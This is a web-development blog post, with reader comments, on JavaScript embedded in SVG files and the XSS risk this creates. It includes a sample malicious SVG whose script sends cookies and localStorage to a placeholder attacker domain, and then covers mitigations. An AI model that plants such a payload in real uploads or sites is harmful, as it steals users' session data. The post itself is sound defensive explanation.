JavaScript in SVGs

By  on  

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They're part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That's a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...they could steal cookies, storage, and other information via XSS. That's a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff and serving them from a different hostname so as to not share cookies!

Recent Features

  • By
    Introducing MooTools Templated

    One major problem with creating UI components with the MooTools JavaScript framework is that there isn't a great way of allowing customization of template and ease of node creation. As of today, there are two ways of creating: new Element Madness The first way to create UI-driven...

  • By
    Interview with a Pornhub Web Developer

    Regardless of your stance on pornography, it would be impossible to deny the massive impact the adult website industry has had on pushing the web forward. From pushing the browser's video limits to pushing ads through WebSocket so ad blockers don't detect them, you have...

Incredible Demos

  • By
    Six Degrees of Kevin Bacon Using MooTools 1.2

    As you can probably tell, I try to mix some fun in with my MooTools madness but I also try to make my examples as practical as possible. Well...this may not be one of those times. I love movies and useless movie trivia so naturally I'm...

  • By
    Create a Photo Stack Effect with Pure CSS Animations or MooTools

    My favorite technological piece of Google Plus is its image upload and display handling.  You can drag the images from your OS right into a browser's DIV element, the images upload right before your eyes, and the albums page displays a sexy photo deck animation...

Discussion

  1. Kornel

    It’s not safe enough to embed in <img, because an SVG existing at a domain is still a persistent XSS. An attacker can always direct victims to the bare SVG URL.

    You’d at least have to serve SVGs from another throw-away domain. Not just a subdomain, because cookies easily leak across subdomains.

  2. That just seems like a bad idea to allow Javascript embedding in SVGs. I would think the security issues would outweigh any potential uses.

  3. We had this same problem! Even when we did tags, going directly to the image would still cause issues. My initial attempt was to use svgo to strip out scripts, but hackers were still finding ways to sneak around it. Ultimately, the best solution was also to add a content type, so it could never be run on the domain directly (but could still be included via ):

    Content-Disposition: attachment; filename=image.svg
    Content-Type: application/octet-stream
  4. One way to prevent this is stripping the JavaScript out of the SVG

    Be careful, because that’s way more complicated than it may seem.

    If you’re processing them in a JS context, you can use DOMPurify, but anything other than that (regex, strip_tags(), etc) is very likely to have a ton of bypasses. That’s why WordPress still doesn’t allow SVGs to be uploaded.

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!